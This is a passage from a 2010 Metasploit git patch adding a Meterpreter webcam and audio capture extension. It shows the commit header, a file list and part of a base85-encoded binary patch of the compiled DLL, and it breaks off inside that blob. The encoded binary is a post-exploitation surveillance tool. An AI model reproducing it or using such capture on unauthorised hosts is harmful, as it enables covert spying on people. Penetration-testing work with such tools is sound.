From db602dd478ebe5befb7fdbbb45d30f951812a52d Mon Sep 17 00:00:00 2001 From: Matt Weeks Date: Tue, 9 Nov 2010 02:24:28 +0000 Subject: [PATCH] Add functional in-memory webcam support. git-svn-id: file:///home/svn/framework3/trunk@10954 4d416f70-5f16-0410-b530-b9f4589650da --- data/meterpreter/ext_server_webcam.dll | Bin 0 -> 174592 bytes .../source/extensions/webcam/audio.c | 107 +++ .../source/extensions/webcam/audio.h | 6 + .../source/extensions/webcam/bmp2jpeg.c | 767 ++++++++++++++++++ .../source/extensions/webcam/bmp2jpeg.h | 73 ++ .../source/extensions/webcam/main.c | 88 ++ .../source/extensions/webcam/main.h | 36 + .../source/extensions/webcam/video.cpp | 422 ++++++++++ .../source/extensions/webcam/video.h | 7 + .../ext_server_webcam.vcproj | 398 +++++++++ .../meterpreter/workspace/meterpreter.sln | 12 + .../post/meterpreter/extensions/webcam/tlv.rb | 17 + .../meterpreter/extensions/webcam/webcam.rb | 61 ++ .../ui/console/command_dispatcher/webcam.rb | 106 +++ scripts/meterpreter/webcam.rb | 101 +++ 15 files changed, 2201 insertions(+) create mode 100644 data/meterpreter/ext_server_webcam.dll create mode 100644 external/source/meterpreter/source/extensions/webcam/audio.c create mode 100644 external/source/meterpreter/source/extensions/webcam/audio.h create mode 100644 external/source/meterpreter/source/extensions/webcam/bmp2jpeg.c create mode 100644 external/source/meterpreter/source/extensions/webcam/bmp2jpeg.h create mode 100644 external/source/meterpreter/source/extensions/webcam/main.c create mode 100644 external/source/meterpreter/source/extensions/webcam/main.h create mode 100644 external/source/meterpreter/source/extensions/webcam/video.cpp create mode 100644 external/source/meterpreter/source/extensions/webcam/video.h create mode 100644 external/source/meterpreter/workspace/ext_server_webcam/ext_server_webcam.vcproj create mode 100644 lib/rex/post/meterpreter/extensions/webcam/tlv.rb create mode 100644 lib/rex/post/meterpreter/extensions/webcam/webcam.rb create mode 100644 lib/rex/post/meterpreter/ui/console/command_dispatcher/webcam.rb create mode 100644 scripts/meterpreter/webcam.rb diff --git a/data/meterpreter/ext_server_webcam.dll b/data/meterpreter/ext_server_webcam.dll new file mode 100644 index 0000000000000000000000000000000000000000..1ff52f2a28fb39c40bcc8486e37fec5b5c8ca515 GIT binary patch literal 174592 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 